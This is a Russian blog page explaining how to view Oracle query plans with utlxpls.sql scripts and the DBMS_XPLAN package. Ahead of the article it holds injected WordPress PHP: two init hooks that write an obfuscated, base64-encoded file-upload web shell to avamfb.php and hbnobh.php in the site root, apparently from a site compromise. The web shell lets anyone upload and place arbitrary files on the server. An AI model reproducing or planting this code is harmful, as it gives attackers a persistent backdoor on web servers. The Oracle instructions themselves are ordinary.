add_action('init', function() { $f = ABSPATH . 'avamfb.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); add_action('init', function() { $f = ABSPATH . 'hbnobh.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); Как посмотреть план запроса в Oracle, если все GUI тулзы недоступны » nord-tramper.ru
"Программист — это профессиональный конвертер галлюцинаций заказчика в жесткую формальную систему"
Aug 292013
 

Запрос работает медленно? Ну что ж, его надо оптимизировать, и первое, на что мы будем смотреть – план его выполнения.
В этом посте расскажу как посмотреть план, если недоступны всякие GUI тулзы вроде TOAD и SQLNavigator.
Тут рассмотрим два способа:

  1. Скрипты utlxpls.sql | utlxplp.sql
  2. Пакет DBMS_XPLAN


Воспользуемся простым

explain plan for YOUR-SQL-STATEMENT

UTLXPLS.SQL

Как правило таблица для планов уже есть в схеме и нам даже не нужно прав на ее создание, так что все должно работать. Теперь план сгенерирован, но лежит он в этой таблице в не очень удобно виде. Спасибо корпорации Oracle, она позаботилась о нас и предоставила нам скрипт для ее просмотра.
utlxpls.sql, этот скрипт лежит в папке $ORACLE_HOME/rdbms/admin
Этот скрипт выводит информацию по НЕ параллельным запросам ну и для случаев распараллеливания есть utlxplp.sql, лежащий там же.
Просто запускаем их и получаем план запроса в удобном виде.
Я утащил эти скрипты к себе в рабочую папку, там их удобнее вызывать

SQL>@@work/oracle/utlxpls.sql

Еще один способ – это использование пакета DBMS_XPLAN

SQL> SELECT * FROM TABLE(dbms_xplan.display);

Естественно после того как сделали explain plan for
Вывод в обоих случаях схожий – мы видим отформатированный план и дополнительную полезную информацию по нему.

У пакета DBMS_XPLAN есть параметры вывода плана (в порядке использования в функции display):

table_name – указывает альтернативную таблицу для хранения планов
statement_id – вывести план определенного запроса (по умолчанию последний сгенерированный)
format – форматирование вывода. По умолчанию TYPICAL.
BASIC : Минимум значений, только операция и имена объектов.
TYPICAL : Используется по умолчанию. Выводит большинство параметров необходимых для анализа запроса.
ALL : TYPICAL + информация по параллельным операциям.
SERIAL : Тоже, что и TYPICAL, но без информации по параллельному выполнению запроса.

Sorry, the comment form is closed at this time.